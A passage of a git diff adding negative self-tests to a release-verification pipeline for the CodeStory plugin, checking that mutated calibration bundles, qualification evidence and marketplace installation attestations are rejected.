hostile_calibration) try: verify_calibration_bundle( - calibration_bundle_path, - hostile_frozen_contract, + hostile_calibration_path, + frozen_measurement_contract, + enforce_source_lineage=False, + ) + except ProofFailure: + pass + else: + raise ProofFailure("three-by-three calibration sampling was accepted") + + hostile_calibration = json.loads(json.dumps(calibration_bundle_payload)) + hostile_run = hostile_calibration["runs"][0] + source_sample = hostile_run["raw_artifact"]["payload"]["metrics"][ + "warm_query_ipc" + ]["samples"][0] + qualification_metric = json.loads(json.dumps(source_sample)) + qualification_metric["sample_id"] += "-true-idle" + qualification_metric["workload_id"] = "true-idle-qualification" + hostile_run["raw_artifact"]["payload"]["metrics"]["true_idle_exit"] = { + "unit": "milliseconds", + "samples": [qualification_metric], + } + hostile_run["raw_artifact"]["sha256"] = canonical_sha256( + hostile_run["raw_artifact"]["payload"] + ) + write_json(hostile_calibration_path, hostile_calibration) + try: + verify_calibration_bundle( + hostile_calibration_path, + frozen_measurement_contract, + enforce_source_lineage=False, + ) + except ProofFailure: + pass + else: + raise ProofFailure("qualification-only metric was accepted in calibration") + + hostile_calibration = json.loads(json.dumps(calibration_bundle_payload)) + first_run = hostile_calibration["runs"][0] + second_run = hostile_calibration["runs"][1] + first_metrics = first_run["raw_artifact"]["payload"]["metrics"] + second_metrics = second_run["raw_artifact"]["payload"]["metrics"] + for metric in second_metrics: + second_metrics[metric]["samples"][0]["server_identity"] = json.loads( + json.dumps(first_metrics[metric]["samples"][0]["server_identity"]) + ) + second_run["raw_artifact"]["sha256"] = canonical_sha256( + second_run["raw_artifact"]["payload"] + ) + write_json(hostile_calibration_path, hostile_calibration) + try: + verify_calibration_bundle( + hostile_calibration_path, + frozen_measurement_contract, + enforce_source_lineage=False, + ) + except ProofFailure: + pass + else: + raise ProofFailure("calibration reused a server generation across clean runs") + + hostile_calibration = json.loads(json.dumps(calibration_bundle_payload)) + hostile_run = hostile_calibration["runs"][1] + hostile_run["materialized_reused"] = False + hostile_run["raw_artifact"]["payload"]["materialized_reused"] = False + hostile_run["raw_artifact"]["sha256"] = canonical_sha256( + hostile_run["raw_artifact"]["payload"] + ) + write_json(hostile_calibration_path, hostile_calibration) + try: + verify_calibration_bundle( + hostile_calibration_path, + frozen_measurement_contract, enforce_source_lineage=False, ) except ProofFailure: pass else: - raise ProofFailure("post-result calibration threshold change was accepted") + raise ProofFailure("calibration repeated model materialization after run one") + + hostile_calibration = json.loads(json.dumps(calibration_bundle_payload)) + hostile_calibration["qualification_thresholds"] = { + "warm_query_ipc": 1, + } + write_json(hostile_calibration_path, hostile_calibration) + try: + verify_calibration_bundle( + hostile_calibration_path, + frozen_measurement_contract, + enforce_source_lineage=False, + ) + except ProofFailure: + pass + else: + raise ProofFailure("calibration bundle was allowed to select thresholds") + + +def _constant_collector_driver_tests( + fixture: FullStackFixture, + calibration: CalibrationFixture, +) -> None: + protocol = calibration.frozen_measurement_contract["measurement_protocol"] + measurement_contract = calibration.frozen_measurement_contract + cell_id, cell = next(iter(protocol["calibration_matrix"].items())) + private_root = fixture.root / "constant-driver" + private_root.mkdir() + package = calibration.bundle_payload["runs"][0]["package"] + driver_package = { + key: package[key] + for key in ( + "archive_sha256", + "executable_sha256", + "asset_target", + "release_version", + "model_sha256", + ) + } + driver_contracts = { + "protocol_sha256": measurement_contract["protocol_sha256"], + "constant_set_sha256": measurement_contract["constant_set_sha256"], + "measurement_protocol_sha256": measurement_contract[ + "measurement_protocol_sha256" + ], + } + request = { + "schema_version": 1, + "source": fixture.manifest["source"], + "package": driver_package, + "contracts": driver_contracts, + "runtime": { + "engine_policy": "accelerated", + "expected_backend": cell["backend"], + "offline": True, + "matrix_cell_id": cell_id, + "cache_state": cell["cache_state"], + "residency_state": cell["residency_state"], + }, + } + request_path = private_root / "request.json" + write_json(request_path, request) + summaries = [] + for run in calibration.bundle_payload["runs"]: + run_index = run["run_index"] + metrics = run["raw_artifact"]["payload"]["metrics"] + identity = next(iter(metrics.values()))["samples"][0]["server_identity"] + artifact_name = f"constant-calibration-run-{run_index}.raw.json" + raw = { + "schema_version": 1, + "run_index": run_index, + "contracts": driver_contracts, + "metrics": metrics, + "server_identities": [identity], + "backend": cell["backend"], + "policy": "accelerated", + "model_sha256": package["model_sha256"], + "materialized_reused": run_index > 1, + } + write_json(private_root / artifact_name, raw) + summaries.append( + { + "run_index": run_index, + "measurements": { + "artifact": artifact_name, + "metric_count": 9, + "sample_count": 9, + }, + "server_identities": [identity], + "backend": cell["backend"], + "policy": "accelerated", + "model_sha256": package["model_sha256"], + "materialized_reused": run_index > 1, + } + ) + output = { + "schema_version": 1, + "source": request["source"], + "package": driver_package, + "contracts": driver_contracts, + "runtime": request["runtime"], + "request_sha256": sha256(request_path), + "calibration_runs": summaries, + } + validated = _validate_driver_output( + output, + request=request, + request_path=request_path, + private_root=private_root, + protocol=protocol, + matrix_cell=cell, + ) + require( + len(validated) == 3, + "constant-calibration driver output did not retain three clean runs", + ) + + hostile = json.loads(json.dumps(output)) + hostile["calibration_runs"][0]["backend"] = "cpu" + try: + _validate_driver_output( + hostile, + request=request, + request_path=request_path, + private_root=private_root, + protocol=protocol, + matrix_cell=cell, + ) + except ProofFailure: + pass + else: + raise ProofFailure("constant-calibration driver output accepted CPU") + + raw_path = private_root / "constant-calibration-run-1.raw.json" + raw = json.loads(raw_path.read_text(encoding="utf-8")) + raw["metrics"]["true_idle_exit"] = json.loads( + json.dumps(raw["metrics"]["warm_query_ipc"]) + ) + write_json(raw_path, raw) + try: + _validate_driver_output( + output, + request=request, + request_path=request_path, + private_root=private_root, + protocol=protocol, + matrix_cell=cell, + ) + except ProofFailure: + pass + else: + raise ProofFailure( + "constant-calibration driver output accepted a qualification-only metric" + ) def run_calibration_self_tests(fixture: FullStackFixture) -> dict: @@ -338,4 +717,5 @@ def run_calibration_self_tests(fixture: FullStackFixture) -> dict: calibration = _calibration_bundle_tests(fixture, measurement_contract) _measurement_window_semantics_tests(fixture, calibration) _calibration_hostile_tests(fixture, calibration) + _constant_collector_driver_tests(fixture, calibration) return measurement_contract diff --git a/.github/scripts/packaged_agent_proof/self_test_full_stack_external.py b/.github/scripts/packaged_agent_proof/self_test_full_stack_external.py index cf60eaf17..a700cd2dc 100644 --- a/.github/scripts/packaged_agent_proof/self_test_full_stack_external.py +++ b/.github/scripts/packaged_agent_proof/self_test_full_stack_external.py @@ -529,6 +529,20 @@ def _quality_hostiles( pass else: raise ProofFailure("stale retrieval quality source tree was accepted") + hostile_quality = json.loads(json.dumps(quality_payload)) + hostile_quality["release_evidence"]["rows"][0][ + "codestory_cache_provenance" + ]["embedding_policy"] = "cpu_explicit" + write_json(quality_path, hostile_quality) + try: + verify_retrieval_quality_raw_evidence( + quality_path, + source=manifest["source"], + ) + except ProofFailure: + pass + else: + raise ProofFailure("CPU-backed retrieval quality evidence was accepted") write_json(quality_path, quality_payload) try: verify_package_server_contracts( diff --git a/.github/scripts/packaged_agent_proof/self_test_full_stack_fixture.py b/.github/scripts/packaged_agent_proof/self_test_full_stack_fixture.py index 6ad0d0a66..0ac5653a7 100644 --- a/.github/scripts/packaged_agent_proof/self_test_full_stack_fixture.py +++ b/.github/scripts/packaged_agent_proof/self_test_full_stack_fixture.py @@ -58,9 +58,6 @@ def _prepare_contract_files(root: Path) -> tuple[Path, Path, Path]: unfrozen_constant_set["calibration_required_values"] = { field: None for field in unfrozen_constant_set["calibration_required_values"] } - unfrozen_constant_set["qualification_thresholds"] = { - field: None for field in unfrozen_constant_set["qualification_thresholds"] - } unfrozen_constant_set["freeze_record"] = None write_json(self_constant_set, unfrozen_constant_set) self_measurement_protocol = root / MEASUREMENT_PROTOCOL.name @@ -205,7 +202,7 @@ def _native_manifest(contract: NativeContractFixture) -> dict: "embedding": contract.embedding, "tokenizer_config": contract.tokenizer, "accelerator": { - "cpu_fallback": "explicit_only", + "cpu_fallback": "unsupported", "package_claim": "compiled_capability_only", "runtime_execution": "not_proven_by_package", "expected_protected_backend": "metal", diff --git a/.github/scripts/packaged_agent_proof/self_test_full_stack_qualification.py b/.github/scripts/packaged_agent_proof/self_test_full_stack_qualification.py index b71801712..3b535d1f6 100644 --- a/.github/scripts/packaged_agent_proof/self_test_full_stack_qualification.py +++ b/.github/scripts/packaged_agent_proof/self_test_full_stack_qualification.py @@ -145,17 +145,15 @@ def _build_retained_evidence( retained["scenarios"]["worker_stall"]["artifacts"].append( external.publication["artifact"] ) - retained["metrics"]["retrieval_quality"]["raw_evidence"] = external.quality for metric, result in retained["metrics"].items(): - if metric != "retrieval_quality": - result["raw_evidence"] = { - "name": ( - "total-codestory-process-memory.raw.json" - if metric == "total_codestory_process_memory" - else "measurements.raw.json" - ), - "sha256": "d" * 64, - } + result["raw_evidence"] = { + "name": ( + "total-codestory-process-memory.raw.json" + if metric == "total_codestory_process_memory" + else "measurements.raw.json" + ), + "sha256": "d" * 64, + } return retained, qualification_contract @@ -210,11 +208,27 @@ def _retained_hostile_tests( stale_shared["shared_identity"]["server_instance_id"] = "stale-server" wrong_cell = json.loads(json.dumps(retained)) wrong_cell["package"]["matrix_cell_id"] = "hosted_linux_x64_cpu" + extra_quality_metric = json.loads(json.dumps(retained)) + extra_quality_metric["metrics"]["packet_quality"] = { + "status": "pass", + "unit": "ratio", + "value": 1, + "threshold": 1, + "comparison": "greater_than_or_equal", + "raw_evidence": { + "name": "measurements.raw.json", + "sha256": "d" * 64, + }, + } for candidate, message in ( (missing_scenario, "incomplete scenario evidence was accepted"), (wrong_tier, "different-tier retained qualification was accepted"), (stale_shared, "stale retained shared server identity was accepted"), (wrong_cell, "wrong qualification matrix cell was accepted"), + ( + extra_quality_metric, + "optional retrieval quality re-entered frozen-candidate qualification", + ), ): _expect_retained_rejected( candidate, @@ -223,6 +237,82 @@ def _retained_hostile_tests( qualification_contract, message, ) + quality_contract_reintroduced = json.loads(json.dumps(qualification_contract)) + quality_contract_reintroduced["measurement_protocol"]["required_metrics"].append( + "publishable_packet_pass_rate" + ) + quality_contract_reintroduced["measurement_protocol"]["metric_contracts"][ + "publishable_packet_pass_rate" + ] = { + "comparison": "greater_than_or_equal", + "unit": "ratio", + } + quality_contract_reintroduced["constant_set"]["qualification_thresholds"][ + "publishable_packet_pass_rate" + ] = 1 + coherent_quality_metric = json.loads(json.dumps(retained)) + coherent_quality_metric["metrics"]["publishable_packet_pass_rate"] = ( + extra_quality_metric["metrics"]["packet_quality"] + ) + _expect_retained_rejected( + coherent_quality_metric, + fixture, + server, + quality_contract_reintroduced, + "shape-complete retrieval quality re-entered retained qualification", + ) + quality_assertion_contract = json.loads(json.dumps(qualification_contract)) + quality_assertion_contract["measurement_protocol"]["scenario_contracts"][ + "frozen_owner" + ]["required"].append("packet_quality_pass") + quality_assertion_evidence = json.loads(json.dumps(retained)) + quality_assertion_evidence["scenarios"]["frozen_owner"]["assertions"][ + "packet_quality_pass" + ] = True + _expect_retained_rejected( + quality_assertion_evidence, + fixture, + server, + quality_assertion_contract, + "packet quality re-entered retained lifecycle assertions", + ) + repurposed_metric_contract = json.loads(json.dumps(qualification_contract)) + repurposed_protocol = repurposed_metric_contract["measurement_protocol"] + repurposed_protocol["phase_boundaries"]["warm_query_ipc"] = [ + "publishable_packet_candidate_fixed", + "publishable_packet_pass_rate_scored", + ] + repurposed_protocol["calibration_phase_boundaries"]["warm_query_ipc"] = list( + repurposed_protocol["phase_boundaries"]["warm_query_ipc"] + ) + repurposed_protocol["workloads"]["warm_query_ipc"] = { + "workload_id": "publishable_three_repeat_packet_v1", + "owner_state": "external_exact_head_artifact", + "operation": "packet_runtime", + "input_generator": "axios_js_ts_v2", + } + repurposed_protocol["metric_sampling"]["warm_query_ipc"] = { + "sample_count": 3, + "aggregation": "minimum", + } + repurposed_protocol["metric_contracts"]["warm_query_ipc"] = { + "comparison": "greater_than_or_equal", + "unit": "publishable_packet_pass_rate", + } + repurposed_metric_evidence = json.loads(json.dumps(retained)) + repurposed_metric_evidence["metrics"]["warm_query_ipc"].update( + { + "unit": "publishable_packet_pass_rate", + "comparison": "greater_than_or_equal", + } + ) + _expect_retained_rejected( + repurposed_metric_evidence, + fixture, + server, + repurposed_metric_contract, + "warm query retained metric was repurposed as packet quality", + ) def _engine_identity_hostiles(server: ServerIdentityFixture) -> None: @@ -289,6 +379,27 @@ def run_retained_qualification_self_tests( external: ExternalEvidenceFixture, measurement_contract: dict, ) -> None: + protocol = measurement_contract["measurement_protocol"] + thresholds = measurement_contract["constant_set"]["qualification_thresholds"] + require( + set(protocol["required_metrics"]) + == { + "backend_observed_accelerator_residency", + "bulk_documents_per_second", + "bulk_tokens_per_second", + "busy_retry_usefulness", + "cold_first_vector", + "existing_owner_connect", + "first_product_ready", + "spawn_convergence", + "total_codestory_process_memory", + "true_idle_exit", + "warm_bulk_ipc", + "warm_query_ipc", + } + and set(thresholds) == set(protocol["required_metrics"]), + "frozen-candidate qualification metric set changed", + ) retained, qualification_contract = _build_retained_evidence( fixture, server, diff --git a/.github/scripts/packaged_agent_proof/self_test_installation.py b/.github/scripts/packaged_agent_proof/self_test_installation.py index 5143bb29b..924d4f01c 100644 --- a/.github/scripts/packaged_agent_proof/self_test_installation.py +++ b/.github/scripts/packaged_agent_proof/self_test_installation.py @@ -15,7 +15,13 @@ def __init__(self, responses: list[dict]): self.calls: list[tuple[str, dict, str]] = [] self.tool_attempt_counts: dict[str, int] = {} - def tool(self, name: str, arguments: dict, request_id: str) -> dict: + def tool( + self, + name: str, + arguments: dict, + request_id: str, + deadline: float | None = None, + ) -> dict: self.calls.append((name, arguments, request_id)) try: return next(self.responses) diff --git a/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py new file mode 100644 index 000000000..e93768785 --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py @@ -0,0 +1,565 @@ +"""Catalog delivery state self-tests for the installed-runtime identity predicate. + +Catalog publication is delivery, not a release gate, so a release can be proved against the +live public catalog OR against a catalog pinned to the exact published commit. These are two +distinct states and the predicate accepts two distinct shapes. What must never happen is either +one passing as the other, or an arbitrary local directory passing as the pinned fixture -- so +every assertion here that matters is a rejection. + +The first version of the deferred path shipped with none of this. It attested a fixture resolve +as ``codex_marketplace_install``, wrote a temporary directory into +``marketplace.repository``, and the live predicate refused it three steps after the release tag +was already pushed. Each case below is one of the ways that failed, asserted in the +fail-closed direction. +""" + +from __future__ import annotations + +import argparse +import copy +import json +import shutil +import subprocess +import tempfile +from collections.abc import Callable +from pathlib import Path +from types import SimpleNamespace + +from .foundation import REPOSITORY_ROOT, ProofFailure, require +from .installed_identity import installed_plugin_identity +from .marketplace_installation import ( + DEFERRED_INSTALLATION_SOURCE, + LIVE_INSTALLATION_SOURCE, +) + +_MARKETPLACE_NAME = "TheGreenCedar" +_LIVE_REPOSITORY = "TheGreenCedar/AgentPluginMarketplace" +_LIVE_URL = f"https://github.com/{_LIVE_REPOSITORY}.git" +_DEFERRED_REPOSITORY = "local:candidate-pinned-marketplace-fixture" +_MARKER_FILENAME = ".codestory-marketplace-fixture.json" +_MARKER_PURPOSE = "codestory-candidate-pinned-marketplace-fixture" +_PLUGIN_ID = f"codestory@{_MARKETPLACE_NAME}" + + +def _git(repository: Path, *arguments: str) -> str: + completed = subprocess.run( + ["git", "-C", str(repository), *arguments], + text=True, + capture_output=True, + timeout=60, + ) + require( + completed.returncode == 0, + f"marketplace delivery self-test git command failed: {completed.stderr.strip()}", + ) + return completed.stdout.strip() + + +def _pinned_source(commit: str) -> dict[str, str]: + return { + "source": "git-subdir", + "url": "https://github.com/TheGreenCedar/CodeStory.git", + "path": "plugins/codestory", + "sha": commit, + } + + +def _manifest() -> dict: + version = json.loads( + ( + REPOSITORY_ROOT / "plugins" / "codestory" / ".codex-plugin" / "plugin.json" + ).read_text(encoding="utf-8") + )["version"] + return { + "release_version": version, + "asset_target": "linux-x64", + "source": { + "commit": _git(REPOSITORY_ROOT, "rev-parse", "HEAD"), + "tree": _git(REPOSITORY_ROOT, "rev-parse", "HEAD^{tree}"), + }, + } + + +def _write_catalog(root: Path, commit: str) -> None: + catalog_directory = root / ".agents" / "plugins" + catalog_directory.mkdir(parents=True, exist_ok=True) + catalog = { + "name": _MARKETPLACE_NAME, + "interface": {"displayName": _MARKETPLACE_NAME}, + "plugins": [ + { + "name": "codestory", + "source": _pinned_source(commit), + "policy": {"installation": "AVAILABLE", "authentication": "ON_INSTALL"}, + "category": "Developer Tools", + } + ], + } + (catalog_directory / "marketplace.json").write_text( + f"{json.dumps(catalog, indent=2)}\n", encoding="utf-8" + ) + + +def _commit_all(root: Path, message: str) -> str: + _git(root, "add", "--all") + _git( + root, + "-c", + "user.email=self-test@codestory.invalid", + "-c", + "user.name=self test", + "commit", + "--quiet", + "--message", + message, + ) + return _git(root, "rev-parse", "HEAD") + + +def _build_world(root: Path, deferred: bool, manifest: dict) -> dict: + """A complete, valid installed-runtime world on disk for one delivery state.""" + commit = manifest["source"]["commit"] + codex_home = (root / "codex-home").resolve() + plugin_data = codex_home / "plugin-data" + plugin_data.mkdir(parents=True) + plugin_root = ( + codex_home + / "plugins" + / "cache" + / _MARKETPLACE_NAME + / "codestory" + / manifest["release_version"] + ) + plugin_root.parent.mkdir(parents=True) + shutil.copytree(REPOSITORY_ROOT / "plugins" / "codestory", plugin_root) + + if deferred: + marketplace_root = (root / "fixture").resolve() + marketplace_root.mkdir(parents=True) + else: + marketplace_root = (codex_home / ".tmp" / "marketplaces" / _MARKETPLACE_NAME).resolve() + marketplace_root.mkdir(parents=True) + _write_catalog(marketplace_root, commit) + if deferred: + (marketplace_root / _MARKER_FILENAME).write_text( + f"{json.dumps({ + 'schema_version': 1, + 'purpose': _MARKER_PURPOSE, + 'pinned_commit': commit, + 'plugin_version': manifest['release_version'], + }, indent=2)}\n", + encoding="utf-8", + ) + _git(marketplace_root, "init", "--quiet", "--initial-branch", "main") + if not deferred: + _git(marketplace_root, "remote", "add", "origin", _LIVE_URL) + revision = _commit_all(marketplace_root, "catalog") + + origin = ( + {"sourceType": "local", "source": str(marketplace_root)} + if deferred + else {"sourceType": "git", "source": _LIVE_URL} + ) + config = [f"[marketplaces.{_MARKETPLACE_NAME}]"] + config.append(f'source_type = "{origin["sourceType"]}"') + config.append(f'source = "{origin["source"]}"') + if not deferred: + config.append(f'ref = "{revision}"') + config.append("") + config.append(f'[plugins."{_PLUGIN_ID}"]') + config.append("enabled = true") + (codex_home / "config.toml").write_text("\n".join(config) + "\n", encoding="utf-8") + + installed_entry = { + "pluginId": _PLUGIN_ID, + "name": "codestory", + "marketplaceName": _MARKETPLACE_NAME, + "version": manifest["release_version"], + "installed": True, + "enabled": True, + "source": _pinned_source(commit), + "marketplaceSource": origin, + "installPolicy": "AVAILABLE", + "authPolicy": "ON_INSTALL", + } + attestation = { + "schema_version": 2, + "installation_source": ( + DEFERRED_INSTALLATION_SOURCE if deferred else LIVE_INSTALLATION_SOURCE + ), + "installation": { + "codex_home": str(codex_home), + "plugin_root": str(plugin_root), + "plugin_data": str(plugin_data), + }, + "plugin": { + "id": "codestory", + "version": manifest["release_version"], + "source_commit": commit, + "source_tree": manifest["source"]["tree"], + "package_sha256": "", + }, + "marketplace": { + "repository": _DEFERRED_REPOSITORY if deferred else _LIVE_REPOSITORY, + "revision": revision, + "provenance": { + "add": {"root": str(marketplace_root), "revision": revision}, + "list": {"root": str(marketplace_root), "revision": revision}, + }, + "codex_cli_version": f"codex-cli {_pinned_codex_cli_version()}", + "add_result": { + "marketplaceName": _MARKETPLACE_NAME, + "installedRoot": str(marketplace_root), + "alreadyAdded": False, + }, + "list_result": { + "marketplaces": [ + { + "name": _MARKETPLACE_NAME, + "root": str(marketplace_root), + "marketplaceSource": origin, + } + ] + }, + "plugin_add_result": { + "pluginId": _PLUGIN_ID, + "name": "codestory", + "marketplaceName": _MARKETPLACE_NAME, + "version": manifest["release_version"], + "installedPath": str(plugin_root), + "authPolicy": "ON_INSTALL", + }, + "plugin_list_result": {"installed": [installed_entry], "available": []}, + }, + } + from .installation_support import directory_contract_sha256 + + attestation["plugin"]["package_sha256"] = directory_contract_sha256(plugin_root) + return { + "attestation": attestation, + "plugin_root": plugin_root, + "plugin_data": plugin_data, + "marketplace_root": marketplace_root, + "codex_home": codex_home, + } + + +def _pinned_codex_cli_version() -> str: + from .foundation import PINNED_CODEX_CLI_VERSION + + return PINNED_CODEX_CLI_VERSION + + +def _verify(world: dict, attestation: dict, root: Path, manifest: dict) -> dict: + path = root / "attestation.json" + path.write_text(f"{json.dumps(attestation, indent=2)}\n", encoding="utf-8") + args = argparse.Namespace( + proof_tier="installed_runtime", + installed_plugin_attestation=path, + installed_plugin_data=world["plugin_data"], + archive=None, + candidate_producer_repository=None, + candidate_producer_workflow_path=None, + candidate_producer_run_id=None, + candidate_producer_run_attempt=None, + candidate_artifact_name=None, + ) + return installed_plugin_identity(args, world["plugin_root"], manifest) + + +def _reject( + world: dict, + root: Path, + manifest: dict, + description: str, + mutate: Callable[[dict], None], +) -> None: + attestation = copy.deepcopy(world["attestation"]) + mutate(attestation) + try: + _verify(world, attestation, root, manifest) + except ProofFailure: + return + raise ProofFailure( + f"installed-runtime identity accepted {description}" + ) + + +def _run_deferred_self_tests(root: Path, manifest: dict) -> None: + world = _build_world(root / "deferred", deferred=True, manifest=manifest) + identity = _verify(world, world["attestation"], root, manifest) + require( + identity["installation_source"] == DEFERRED_INSTALLATION_SOURCE + and identity["marketplace_repository"] == _DEFERRED_REPOSITORY, + "a deferred catalog resolve did not record its own installer identity", + ) + require( + identity["plugin_source_commit"] == manifest["source"]["commit"] + and identity["plugin_source_tree"] == manifest["source"]["tree"], + "a deferred catalog resolve did not bind the released plugin source", + ) + + def relabel_as_live(attestation: dict) -> None: + attestation["installation_source"] = LIVE_INSTALLATION_SOURCE + attestation["marketplace"]["repository"] = _LIVE_REPOSITORY + + _reject( + world, + root, + manifest, + "a fixture resolve relabelled as a live public-catalog install", + relabel_as_live, + ) + _reject( + world, + root, + manifest, + "a deferred resolve claiming the live catalog repository", + lambda attestation: attestation["marketplace"].update( + repository=_LIVE_REPOSITORY + ), + ) + _reject( + world, + root, + manifest, + "a deferred resolve claiming a git-backed marketplace source", + lambda attestation: attestation["marketplace"]["list_result"]["marketplaces"][ + 0 + ].update(marketplaceSource={"sourceType": "git", "source": _LIVE_URL}), + ) + _reject( + world, + root, + manifest, + "an installer identity no delivery state defines", + lambda attestation: attestation.update( + installation_source="codex_marketplace_install_v3" + ), + ) + _reject( + world, + root, + manifest, + "a deferred resolve whose catalog is the release checkout itself", + lambda attestation: attestation["marketplace"]["add_result"].update( + installedRoot=str(REPOSITORY_ROOT) + ), + ) + + marker = world["marketplace_root"] / _MARKER_FILENAME + saved = marker.read_bytes() + marker.unlink() + _commit_all(world["marketplace_root"], "drop the fixture marker") + absent = copy.deepcopy(world["attestation"]) + revision = _git(world["marketplace_root"], "rev-parse", "HEAD") + _restamp(absent, revision) + try: + _verify(world, absent, root, manifest) + raise ProofFailure( + "installed-runtime identity accepted a local catalog carrying no fixture marker" + ) + except ProofFailure as exc: + require( + "candidate-pinned marketplace fixture" in str(exc), + f"a marker-less local catalog was refused for the wrong reason: {exc}", + ) + marker.write_bytes(saved) + json_marker = json.loads(saved) + json_marker["pinned_commit"] = "0" * 40 + marker.write_text(f"{json.dumps(json_marker, indent=2)}\n", encoding="utf-8") + _commit_all(world["marketplace_root"], "pin a different commit") + mismatched = copy.deepcopy(world["attestation"]) + _restamp(mismatched, _git(world["marketplace_root"], "rev-parse", "HEAD")) + try: + _verify(world, mismatched, root, manifest) + raise ProofFailure( + "installed-runtime identity accepted a fixture pinning another commit" + ) + except ProofFailure as exc: + require( + "does not pin the exact released commit" in str(exc), + f"a mispinned fixture was refused for the wrong reason: {exc}", + ) + + config = world["codex_home"] / "config.toml" + saved_config = config.read_text(encoding="utf-8") + config.write_text( + saved_config.replace( + "source_type =", f'ref = "{world["attestation"]["marketplace"]["revision"]}"\nsource_type =' + ), + encoding="utf-8", + ) + marker.write_bytes(saved) + _commit_all(world["marketplace_root"], "restore the fixture marker") + claimed = copy.deepcopy(world["attestation"]) + _restamp(claimed, _git(world["marketplace_root"], "rev-parse", "HEAD")) + try: + _verify(world, claimed, root, manifest) + raise ProofFailure( + "installed-runtime identity accepted a deferred config claiming a live ref" + ) + except ProofFailure as exc: + require( + "claims a live marketplace revision" in str(exc), + f"a deferred config claiming a live ref was refused for the wrong reason: {exc}", + ) + config.write_text(saved_config, encoding="utf-8") + + _git(world["marketplace_root"], "remote", "add", "origin", _LIVE_URL) + dressed = copy.deepcopy(world["attestation"]) + _restamp(dressed, _git(world["marketplace_root"], "rev-parse", "HEAD")) + # The refusal is recorded, not raised inside the `try`: a sentinel raised there is caught by + # this very handler, so the case would pass whether or not the predicate refused anything. + refusal: ProofFailure | None = None + try: + _verify(world, dressed, root, manifest) + except ProofFailure as exc: + refusal = exc + require( + refusal is not None, + "installed-runtime identity accepted a fixture wearing the live marketplace origin", + ) + require( + "invalid or mutable Git identity" in str(refusal), + f"a fixture wearing the live marketplace origin was refused for the wrong reason: {refusal}", + ) + + +def _restamp(attestation: dict, revision: str) -> None: + marketplace = attestation["marketplace"] + marketplace["revision"] = revision + for operation in ("add", "list"): + marketplace["provenance"][operation]["revision"] = revision + + +def _run_live_self_tests(root: Path, manifest: dict) -> None: + world = _build_world(root / "live", deferred=False, manifest=manifest) + identity = _verify(world, world["attestation"], root, manifest) + require( + identity["installation_source"] == LIVE_INSTALLATION_SOURCE + and identity["marketplace_repository"] == _LIVE_REPOSITORY, + "a live catalog resolve did not record the public marketplace identity", + ) + _reject( + world, + root, + manifest, + "a live install naming the deferred fixture repository", + lambda attestation: attestation["marketplace"].update( + repository=_DEFERRED_REPOSITORY + ), + ) + _reject( + world, + root, + manifest, + "a live install relabelled as a deferred fixture resolve", + lambda attestation: attestation.update( + installation_source=DEFERRED_INSTALLATION_SOURCE + ), + ) + # The live shape is not relaxed to admit a local source: this is the check the deferred + # state was originally, wrongly, expected to satisfy. + _reject( + world, + root, + manifest, + "a live install whose marketplace list reports a local source", + lambda attestation: attestation["marketplace"]["list_result"]["marketplaces"][ + 0 + ].update( + marketplaceSource={ + "sourceType": "local", + "source": attestation["marketplace"]["add_result"]["installedRoot"], + } + ), + ) + + +def _run_retained_provenance_self_tests() -> None: + """The retained evidence verifier must bind each installer identity to its own repository. + + The identity predicate is only the first reader. Retained qualification evidence names the + marketplace repository too, and it hard-coded the live one -- so a deferred release would + have been refused here even after the install itself was accepted. + """ + from . import qualification_retained_provenance as retained + from .foundation import PINNED_CODEX_CLI_VERSION + + manifest = { + "release_version": "0.16.2", + "source": {"tree": "a" * 40, "commit": "b" * 40}, + } + contract = SimpleNamespace(manifest=manifest) + runtime = {"build_source": "github_release", "repo_ref": "v0.16.2"} + + def plugin(installation_source: str, repository: str) -> dict: + return { + "installation_source": installation_source, + "marketplace_repository": repository, + "codex_cli_version": PINNED_CODEX_CLI_VERSION, + "marketplace_commit": "c" * 40, + "plugin_source_commit": "b" * 40, + "plugin_source_tree": "a" * 40, + } + + for source, repository in ( + (LIVE_INSTALLATION_SOURCE, _LIVE_REPOSITORY), + (DEFERRED_INSTALLATION_SOURCE, _DEFERRED_REPOSITORY), + ): + retained._verify_marketplace_provenance(contract, plugin(source, repository), runtime) + + # Each identity may name only its own repository, and an identity no state declares is not a + # delivery state at all. + for description, source, repository in ( + ("a deferred fixture claiming the live catalog repository", + DEFERRED_INSTALLATION_SOURCE, _LIVE_REPOSITORY), + ("a live install claiming the fixture repository", + LIVE_INSTALLATION_SOURCE, _DEFERRED_REPOSITORY), + ("an installer identity no delivery state declares", + "codex_marketplace_install_v3", _LIVE_REPOSITORY), + ): + try: + retained._verify_marketplace_provenance( + contract, plugin(source, repository), runtime + ) + except ProofFailure: + continue + raise ProofFailure(f"retained installed evidence accepted {description}") + + +def _run_shared_identity_self_tests() -> None: + """The producer and the verifier must name the two states identically. + + `.github/scripts/marketplace-delivery-identity.mjs` writes the installer identity and the + attestation repository; this module's predicate decides which shape to accept from them. If + the two ever drift, a real release resolves through a Codex install the predicate refuses -- + which is precisely the failure this whole path was repaired for, and it would surface only + after the tag was already pushed. + """ + source = ( + REPOSITORY_ROOT / ".github" / "scripts" / "marketplace-delivery-identity.mjs" + ).read_text(encoding="utf-8") + for name, value in ( + ("LIVE_INSTALLATION_SOURCE", LIVE_INSTALLATION_SOURCE), + ("DEFERRED_INSTALLATION_SOURCE", DEFERRED_INSTALLATION_SOURCE), + ("LIVE_MARKETPLACE_REPOSITORY", _LIVE_REPOSITORY), + ("DEFERRED_MARKETPLACE_REPOSITORY", _DEFERRED_REPOSITORY), + ("FIXTURE_MARKER_FILENAME", _MARKER_FILENAME), + ("FIXTURE_MARKER_PURPOSE", _MARKER_PURPOSE), + ): + require( + f'export const {name} = "{value}";' in source, + f"marketplace delivery identity {name} differs between the producer and the verifier", + ) + + +def run_marketplace_delivery_self_tests() -> None: + manifest = _manifest() + with tempfile.TemporaryDirectory(prefix="codestory-marketplace-delivery-") as raw: + root = Path(raw).resolve() + _run_deferred_self_tests(root, manifest) + _run_live_self_tests(root, manifest) + _run_retained_provenance_self_tests() + _run_shared_identity_self_tests() diff --git a/.github/scripts/packaged_agent_proof/self_test_process.py b/.github/scripts/packaged_agent_proof/self_test_process.py index e280d45f1..1e6ec9e72 100644 --- a/.github/scripts/packaged_agent_proof/self_test_process.py +++ b/.github/scripts/packaged_agent_proof/self_test_process.py @@ -1,7 +1,9 @@ """Process-level packaged proof self-test coordinator.""" from .self_test_process_cleanup import run_process_cleanup_self_tests +from .self_test_process_capture import 